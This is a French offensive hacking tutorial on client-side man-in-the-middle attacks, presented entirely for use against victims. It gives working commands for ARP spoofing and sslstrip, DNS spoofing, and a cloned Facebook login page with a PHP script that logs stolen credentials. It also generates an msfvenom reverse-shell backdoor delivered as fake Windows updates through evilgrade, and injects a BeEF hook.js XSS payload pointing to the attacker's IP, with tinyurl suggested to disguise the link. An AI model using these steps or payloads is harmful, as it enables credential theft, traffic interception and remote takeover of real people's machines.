Académique Documents
Professionnel Documents
Culture Documents
Mode d'emploi
Les attaques côtés client sont bien différentes des attaques de serveurs.
En effet, pour les serveurs nous utilisons des vulnérabilités liés aux services accessibles pour
prendre le contrôle, mais dans le cas de clients, il n'y à pas de services accessibles ou très peu, les
attaques sont alors orientés vers le social engineering, le phishing, sniffing, poisonning & spoofing
qui sont des techniques dite passives, puisqu'elles requiert une action de la part de la victime, ce
sont généralement des attaques fonctionnant localement.
Pour attaquer une machine cliente il va falloir procéder par étapes :
Explications : La technique du sniffing, permet d'intercepter des communication qui ne nous sont
pas destinées sur un réseau. Cette technique très simple à mettre en œuvre est largement utiliser
par les pirates pour récupérer des informations confidentielles telles que des numéros CB,
identifiants de comptes, contenus de mails, conversations instantanées, etc …
Voici les étapes nécessaire à la mise en place d'un système d'écoute performant capable d'intercepter
les communications chiffré & non chiffré :
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Activer la redirection du trafic en provenance du port 80 (web) vers le port 8080 (proxy)
➢ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4/ Réaliser un scan ARP du réseau afin de découvrir les adresses IP qui y sont présentes & retenez
celle de votre victime, ainsi que de la passerelle.
➢ netdiscover -i <votre_interface>
5/ Utiliser l'outil arpspoof afin d'usurper l'identité de votre victime en empoisonnant les paquets
ARP sur le réseau & ainsi recevoir les paquets destinés à la victime.
➢ arpspoof -i <votre_interface> -t <ip_victime> -r <ip_passerelle>
6/ Dans un nouveau terminal, utiliser sslstrip afin de déchiffrer le trafic en provenance du web
destiné à votre victime & de le conserver dans un fichier log.
➢ sslstrip -l 8080
Le spoofing ou phishing
Explications : La technique du spoofing ou phishing, permet d'usurper l'identité d'un thiers afin de
bénéficier de ces priviléges ou pour tromper la confiance de ces contacts. C'est une technique
facile à mettre en œuvre, la plus courante étant le spoofing de DNS qui consiste à associer un nom
de domaine à une adresse IP choisi par le pirate.
Par exemple :
www.google.com ==> 86.34.212.57 (adresse pirate)
Voici les étapes nécessaire à la mise en place d'un système d'usurpation performant, permettant la
redirection d'une ou plusieurs victimes vers l'adresse choisi par le pirate.
Scénario :
M.Dupont bénéficiant de l'adresse IP local 192.168.1.13 est actuellement connecté à travers
internet à son compte facebook pour raconter sa journée passionnante à ces milliers d'amis qu'il n'à
jamais vu.
Le pirate, (vous), bénéficiant de l'adresse IP 192.168.1.17 voulez jouer un mauvais tour à
M.dupont (la victime) en modifiant son profil de manière à l'humilier. Pour cela vous avez besoin
de ses identifiants de connexion, il vous viens alors l'idée de rediriger M.Dupont vers une page de
connexion facebook parfaitement ressemblante à l'originale qui va lui voler ses identifiants.
Voici les étapes nécessaire à la reussite de l'opération :
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Télécharger la page légitime de connexion facebook & placer la dans votre repertoire web
/var/www/facebook_phishing sous le nom login.php.
➢ wget -U firefox https://facebook.com/login.php -O /var/www/facebook_phishing/login.php
4/ Modifier la manière dont les identifiants sont transmis à facebook pour valider l'authentification,
de telle sorte que les identifiants soit transmis à une page nommé connexion.php situé dans le même
répertoire (/var/www/facebook_phishing/connexion.php
➢ sed -i -e "s#/login.php?login_attempt=1#connexion.php#g"
/var/www/facebook_phishing/login.php
5/ Créer la page connexion.php dans le repertoire /var/www/facebook_phishing/ qui doit contenir le
script de récupération des identifiants :
<?php
header ('Location: http://www.facebook.com');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}fwrite($handle, "rn");
fclose($handle);
exit;
?>
6/ Créer une page dans le repertoire /var/www nommé index.html :
<html>
<head>
<title>Connexion Facebook ...</title>
<meta http-equiv="refresh" content="1;
URL=http://votre_adresseip/facebook_phishing/login.php">
</head>
<body>
<img src="facebook_phishing/error.jpg" alt="erreur" />
</body>
</html>
En clair : Nous avons créer une page index.html permettant la redirection de la victime vers la
fausse page de connexion facebook nommé login.php qui va récupérer les identifiants & les
envoyer à la page connexion.php qui va les stockés dans un fichier nommé log.txt.
Super, vous venez de découvrir les fondements des principales attaques MITM, vous êtes déjà en
mesure de réaliser de nombreuses attaques, mais que diriez vous d'aller ecore plus loin ?
Si je vous disais qu'il est possible de combiné plusieurs de ces techniques pour en créer des
nouvelles plus sophistiqués & beaucoup plus puissantes, seriez vous intérrésser ?
Je suppose que oui, alors c'est parti !
Ok, pour cette première technique avancée, je vous propose de compromettre une machine cliente
en usant du spoofing & d'un module de metasploit particulierement pratique, nommé
browser_autopwn.
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Souvenez vous de la page index.html placer dans votre repertoire /var/www/ c'est le moment de
s'en servir encore une fois. Ouvrer celle-ci est modifier le code source comme ceci :
<html>
<head>
<title>Connexion Facebook ...</title>
<meta http-equiv="refresh" content="10; URL=http://192.168.1.17:666/security_update">
</head>
<body>
<img src="facebook_phishing/error.jpg" alt="erreur" />
</body>
</html>
Explications : Nous allons adapter l'url au module de metasploit qui fonctionnera en écoute sur le
port 666 à l'adresse /security_update, afin de rendre le tout plus discret.
8/ Patientez le temps que la victime tente d'acceder à la page légitime de facebook, pour que celle-ci
soit rediriger vers notre module metasploit.
Remarque : Dés que se sera le cas, vous verrez dans la fenêtre du module, défilé tous un tas
d'attaques contre le navigateur du client, jusqu'à ce qu'une vulnérabilité soit exploiter & vous
donne la main sur le système de la victime.
Compromission par simulation de fausses mises à jour
Pour cette deuxième technique avancée, nous allons nous servir de la suite evilgrade, qui permet de
simuler à la perfection de fausses mises à jour à télécharger par la victime qui sont en réalité infecté
par un backdoor que nous aurons pris soin de générer avec metasploit par exemple. Restera plus
qu'à rediriger la victime vers la fausse page de mise à jour & le tour est jouer.
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Activer le mode routeur de votre carte réseau afin d'intercepter tout le trafic (même celui ne vous
étant pas destiné).
➢ echo 1 > /proc/sys/net/ipv4/ip_forward
3/ Nous allons générer un backdoor pour windows avec msfvenom :
➢ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<votreIP> LPORT=4444 -f exe
-o /root/Desktop/backdoor.exe
4/ Nous lançons evilgrade dans un terminal & nous configurons le module winupdate :
➢ evilgrade
➢ show modules
➢ configure winupdate
➢ set agent '[''<%OUT%>/root/Desktop/backdoor.exe<%OUT%> '']'
Remarque : la commande 'set agent' nous permet de sélectionner notre backdoor generer avec
metasploit.
5/ Nous allons spoofer les requêtes DNS sur le réseau locale avec dnsspoof comme nous l'aviions
vu précédemment, sauf que cette fois-ci nous allons modifier les correspondances dans ce fichier à
l'aide des indications fourni dans le module winupdate de evilgrade :
#ip_pirate # domaines à usurper
192.168.1.17 windowsupdate.microsoft.com
192.168.1.17 update.microsoft.com
192.168.1.17 www.microsoft.com
192.168.1.17 go.microsoft.com
Je vous propose ici, une manière différente & original de compromettre la machine de vos victimes
Nous allons voir comment exploiter une vulnérabilité XSS présente dans un site web de manière
ludique grâce à Beef-xss framework, afin d'hameçonner les clients d'un site vulnérable &
transformer leurs machines en zombies.
1/ Désactiver dans un terminal votre pare-feu afin d'autoriser les connexions entrantes.
➢ ufw disable
2/ Démarrer Beef-xss & rendez vous à la page d'amnistration avec les identifiants beef/beef:
➢ /usr/share/beef
➢ http://127.0.0.1:3000/ui/panel
3/ Localiser un site web vulnérable aux injections xss :
➢ <script>alert('vulnerable')</script>
4/ Injecter le script piéger à la place :
➢ <script src=http://votre_ip:3000/hook.js></script>
exemple :
http://sitevulnerable.com/search.php?name=<script src=http://192.168.1.17:3000/hook.js></script>
Ce qui aura pour effet d'infecter le navigateur de/des victimes de manière transparente.
5/ copiez l'url piéger est masquer là avant de la transmettre à vos/votre victimes via tinyurl par
exemple.
6/ Patientez jusqu'à ce que la victime clique sur le lien que vous lui avait fourni & se fasse
contaminer.
Conclusion : Vous n'avez plus qu'à vous amuser avec les commandes de contrôle disponible
depuis l'interface web de Beef-xss.
Remarque : Dés que la victime quittera le site infecter, vous perdrez la main sur sa machine.
Pour pallier ce problème, une solution consiste à ouvrir un shell sur la machine de la victime, voir
détails ci-dessous.
Solutions palliatif :
7/ lancer msfconsole dans un terminal est charger le module browser_autopwn
8/ Configurer celui-ci en écoute de connexion entrante sur votre machine.
9/ De retour dans les commandes de contrôle de beef, rendez-vous dans misc & choisissez create
invisible Iframe.
10/ indiquer l'url du module metasploit & faites exécuter
Conclusion : La victime se connectera invisiblement au module d'exploitation & un shell sera
créer.
Pour aller plus loin
Maintenant que vous maîtrisez la plupart des techniques d'attaques MITM, pour aller plus loin, vous
pouvez tenter de les mettre en œuvre à travers Internet. Nous verrons cela dans un prochain épisode.